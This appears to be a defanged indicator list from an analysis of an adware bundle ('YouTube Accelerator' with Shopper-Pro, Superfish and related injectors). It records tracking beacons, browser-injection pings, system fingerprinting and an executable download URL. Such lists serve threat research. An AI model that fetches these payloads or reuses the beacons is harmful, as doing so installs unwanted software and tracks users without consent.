hxxp://cdn.visadd.com.cdn.cloudflare.net/script/14567725608/preload.js?subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9
hxxp://pagead.l.doubleclick.net/pagead/viewthroughconversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
hxxp://flex.msn.com.nsatc.net/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900
hxxp://www.google.com/ads/conversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3341751375
hxxp://test.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/xdmframe.htm?xdm_e=http://www.youtubeaccelerator.com&xdm_c=default8653&xdm_p=1
hxxp://cdn.visadd.com.cdn.cloudflare.net/script/layer.js?pid=14567725608&ln=en
hxxp://d2otsfra4otprh.cloudfront.net/jollywallet/resources/js/2/affiliate_client.js	54.239.168.128
hxxp://www.google.com.ua/ads/conversion/971163981/?random=722253959&cv=7&fst=1423540823357&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3341751375&ipr=y	173.194.113.223
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/beat/204/Beat.js
hxxp://a.visadd.com/script/layer/serve?format=1&img=true&cid=layer_fr&isps=false&cbs=0.7423836458214292&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&adl=true&loc=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&dm=www.youtubeaccelerator.com&subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9&um=Powered by Shopper-Pro
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc=
hxxp://a.visadd.com/internal/reporter?v=2&subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9&format=1&ai=990&ctxu=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&fb=false&cid=&cbs=0.5480376002401501&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&adl=true&loc=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&dm=www.youtubeaccelerator.com&subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9&um=Powered by Shopper-Pro
hxxp://v08oo0uy6-su78sj1t.netdna-ssl.com/api/geo?callback=Beat1110013101208756507165_1423540823045&_=1423540823046
hxxp://a.visadd.com/internal/reporter?v=2&format=1&ai=989&subid=date&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&loc=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&dm=www.youtubeaccelerator.com&subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9&um=Powered by Shopper-Pro
hxxp://4x3zy4ql-l8bu4n1j.netdna-ssl.com/res/helper.min.js?v=230&domain=zb8da386b03122aa41bea079711f430f5zce210e711f94f3dfb9aba8a77e2128c8z270e890f3e9baacc96c0d9428a3195d7zfa7c8af5304a3392922f34e32b677892zf5dde6ea6b27bdcacbac28274daf3a00ze3a52fd8f8d85a0733e461f9a6fd8f2dz50cfd0ac63ed9d9916963ee201fbb0b7z732a17dd70f8fe3c0de4230a126fd8a5&geo=UA
hxxp://cs9.wac.edgecastcdn.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
hxxp://r.msn.com.nsatc.net/?type=1&domainId=3026708&dedup=1&actionid=238238
hxxp://superfish.com/ws/sf_preloader.jsp?dlsource=viktczu&userId=e5f8ccfa064a4525b9099b89e346b6d9&partnername=ShopperPro&CTID=xUSIF2Awsmtycl&ver=2015.2.9.16.26
hxxp://superfish.com/ws/userData.jsp?dlsource=viktczu&userid=NTBCNTBC&ver=2015.2.9.16.26
hxxp://superfish.com/ws/getUD.action?dlsource=viktczu&userId=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&ver=15.2.8
hxxp://test.youtubeaccelerator.com/favicon.ico
hxxp://v08oo0uy6-su78sj1t.netdna-ssl.com/app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=IE&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540827&aff=smtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Init&text=BHO version: 1.0.1.4. IE version: 10.0.9200.16521. DB name: database1_0_0.json. DB version: 1.0.1.0&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=5	54.197.238.106
hxxp://v08oo0uy6-su78sj1t.netdna-ssl.com/app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=IE_BDrive&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540827&aff=smtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=GeneralInjector&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=5	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=PriceGong_DealPly&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=DealPly_NoPriceGong&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=JollyWallet&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6	54.197.238.106
hxxp://superfish.com/ws/tu.action?userId=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&referrer=&page_url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&page_title=Thank you for Installing YouTube Accelerator
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=GoobzoInfo&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6	54.197.238.106
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2poN0mNQrpltmZheUL K4kTJm eineCeW0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQBCdBnO5fXI2a8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUJFxNVeQWwZG&product=EXTBHO&bhov=1.1.2.0&rnd=30199&action=Init&text=BHO version: 1.1.2.0. IE version: 10.0.9200.16521. DB name: yta_database1_0_0.json. DB version: 1.0.0.1&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=5	54.197.238.106
hxxp://superfish.com/ws/sf_code.jsp?dlsource=viktczu&userid=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&partnername=pelmmbomol&CTID=xUSIF2Awsmtycl&ver=2015.2.9.16.26
hxxp://rep.shopper-pro.com/app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=SuperFish&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=6	54.197.238.106
hxxp://superfish.com/ws/slideup2/main.js?ver=2015.2.9.16.26
hxxp://superfish.com/ws/side_slider/main.js?ver=2015.2.9.16.26
hxxp://superfish.com/ws/js/base_single_icon.js?ver=2015.2.9.16.26
hxxp://googleapis.l.google.com/ajax/libs/jquery/1.7.1/jquery.min.js
hxxp://superfish.com/ws/products/main.js?v=2015.2.9.16.26&partnername=pelmmbomol
hxxp://superfish.com/ws/css/main.css?v=2015.2.9.16.26
hxxp://superfish.com/ws/getSupportedSitesJSON.action?ver=14.11.12.1&callback=SF_isURISupported
hxxp://e6845.ce.akamaiedge.net/crls/secureca.crl
hxxp://e8218.ce.akamaiedge.net/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg==
hxxp://superfish.com/ws/retargeting/main.js?ver=2015.2.9.16.26
hxxp://www-google-analytics.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCBH5CtNBDuCd
hxxp://superfish.com/ws/retargeting/server_layer.html?dlsource=viktczu&userid=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&CD_CTID=xUSIF2Awsmtycl&version=2015.2.9.16.26&pageUrl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://www.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=RankingModel000LT_control&tier1_curr_group=9&tier1_next_group=939&tier1_prev_group=975&tier2_bucket=&tier2_curr_group=830&tier2_next_group=400&tier2_prev_group=588
hxxp://superfish.com/ws/retargeting/server_layer.js
hxxp://www.theviilage.com/windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv=
hxxp://a1284.g.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1284.g.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1284.g.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?37332cae429e3908
hxxp://gs1.wac.v2cdn.net/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=
hxxp://www.theviilage.com/searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?0dd95828501dc5be
hxxp://hostedocsp.globalsign.com/root-r3.crl
hxxp://hostedocsp.globalsign.com/gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhEciVJl3DcOpdbVDkbeKcRg==
hxxp://hostedocsp.globalsign.com/root.crl
hxxp://hostedocsp.globalsign.com/gscodesigng2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBRruLd2WRFk6cRYGFIqkQ4J8hxDogQUCG7YtpyKv+0+18N0XcyAH6gvUHoCEhEhR5HFQnItXEGJJ9zEpk51tw==
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://e6845.ce.akamaiedge.net/pca3.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=
hxxp://a1284.g.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://www.appshat.com/css/lightbox.css
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=hpY1rXLYst5PNjxRBLtb498v6J f91o2t8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYQPtg8qbXELpazTs3rfRMhlFL7m3g1Pd1SLNABL9ZIdQyiY9uJr/F46Krb0sfh10 a9t7URjkW8nIBpE39lWvvVOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXZvjzBMdMQwXYeeO3me1TXZFx/2xcaGYCPVEGXvKe lWxW20GZ81oXcWMQ1BN/ Lt4sKLU3NDKjiEPV6TLtyTTjV2KQEqxOS3RYxDUE3/4u34EGnDyPkfaNEd5niUXT1yikFELT1v5WKf/IF1C38O75NDkZJCBLdPWbktPzt6Fdq8aHXnj8PuXFHVGmx3LDmkl/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6RaqoA9wMXB4co20Bv tF/mdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUMAlKs1btm3k3cO6dTrNhzTfz6rRYqgs/tcGBIv1zehoSikoE2tkaBcQp/ql BaU3X36Kc9MtkO2A==	54.197.238.106
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=	23.43.139.27
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=100&n=init_start_funnel_step_name&rnd=1423540799
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=aQQpsP6/AW07SHxFqnYavIoO1eWHRXrJB70p5cFj8vcD/fqz7XUSNP/TL4QSzfDiScQhY67GlQ8RWdSCCrEc0hVpeWF2oQIshgCEqrXpIWd7HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9reVFPQewwTdqF2K7v3Wx4P3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvIBpE39lWvvVOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXX29hXkrzRmBpq73FZdDH/8=	54.197.238.106
hxxp://www.superfish.com/ws/products/main.js?v=2015.2.9.16.26&partnername=pelmmbomol
hxxp://www.bigspeedpro.com/webplayer/flvplayer/html/images/bg_header.jpg
hxxp://flex.msn.com/mstag/mstag.1003102000.js
hxxp://stats.ourgendataservice.com/installer.gif?action=finished&app=65743&appver=&ver=1_36_01_22&version_date=15-02-10&bic=504B5080F5604A4B9DFA4FB197512D8FIE&verifier=02bca8db07d4973ae815b702cb828c08&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0C0F36F89C9C467C97874D76CD233AF7PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_23&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350025&asw=0&asw2=1073750533&asw3=-2147475456&asw4=0&crtnm=ClashProject&ieprofiles=na&chprofiles=na&ffprofiles=1&procstarttime=1423540799&procruntime=10&rnd=1423540809
hxxp://www.appshat.com/thumbnails/banner/images/assets/1/3/13a052a6d8c62b7831aa10e2f6f37454.jpg
hxxp://www.appshat.com/images/logo.jpg
hxxp://www.youtubeaccelerator.com/img/youtube-accelerator-logo.png
hxxp://ajax.googleapis.com/ajax/libs/jquery/1.8.2/jquery.min.js
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=800&n=deploy_nova_start_funnel_step_name&rnd=1423540804
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=	23.43.139.27
hxxp://dwl4rwv9nkwfy.cloudfront.net/mirror/nerocrossrider/appshat_generic.exe
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=796c1daebeb52f4eabf469c6ed8ad1c0&uniqid=107e4dff93c730f0dfd7b0fba2aba7c7&affiliate_id=network_adworkmedia_1&software_id=flvplayerkuiw&sponsored_id=mystartsearch&tokyo_csrf2_key=6ce1d45cb9dcbf614e3d4452d7aa3413&tokyo_csrf2_timestamp=1423540742&slot_number=3&index_in_screen=1&index_in_session=3&0.049229260930564955
hxxp://www.appshat.com/images/3.5stars.jpg
hxxp://g.symcd.com/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg==
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=eISsn0A7mAYLpXZ/jUeRRooO1eWHRXrJgAXeBxis9tbMtMAqTKBPI30QpZ Jj0 vMQUKzn11DFWqS3j1P9iGnLOjtqelOAq5bHiD3ocgsXa8rJULUDCmwLTVLrY3WnjaAfnYFBLZUOG9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhO/aQqt8CJEtnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1Tugk9ujcDbdil69321W5yp2f ofqKPWEn
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423540821&SBPIDS=1
hxxp://www.superfish.com/ws/retargeting/server_layer.html?dlsource=viktczu&userid=3f1c645a-b72d-4c18-ddaf-f5d236e6fde8-dd1&CD_CTID=xUSIF2Awsmtycl&version=2015.2.9.16.26&pageUrl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&merchantName=youtubeaccelerator.com&appDomain=http://www.superfish.com/ws/&browser=ie10&imageDomain=http://static*.superfish.com/images_np/shared/sys_v2/images/&country=UA&language=en&tier1_bucket=RankingModel000LT_control&tier1_curr_group=9&tier1_next_group=939&tier1_prev_group=975&tier2_bucket=&tier2_curr_group=830&tier2_next_group=400&tier2_prev_group=588
hxxp://d1vw44q53d84jx.cloudfront.net/t.ashx?e=t1D UTAmiecfAxEXghvnLLDIlck824Db1VMaOJFqXYpxTYwWxYG9WC5wjMCSU5F6kmHgElHm6Zad2YanHum4fHf1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw==
hxxp://xs3hgr0g-l8bu4n1j.netdna-ssl.com/api/geo?callback=Beat1110013101208756507165_1423540823045&_=1423540823046
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=hpY1rXLYst5PNjxRBLtb498v6J f91o2t8f6YpiR28K/M iZRiJnRhtT6IeDjCpqRrDDJryscYuwFzwQJxJEYQPtg8qbXELpazTs3rfRMhkokLndUNuBHKli32pbacVsRHq5gcybEjCOuHii8r8WvPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm8gGkTf2Va 9U7IffXCCIuDgNFu/dheDDCy5ra8N yvvOJaEpB0Im5dY1AbLh2FxzOmrvcVl0Mf/w==	54.197.238.106
hxxp://errors.ourgendataservice.com/utility.gif?report=fdata&f=1&c=000820&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1423540806
hxxp://crl.verisign.com/pca3.crl	23.43.133.163
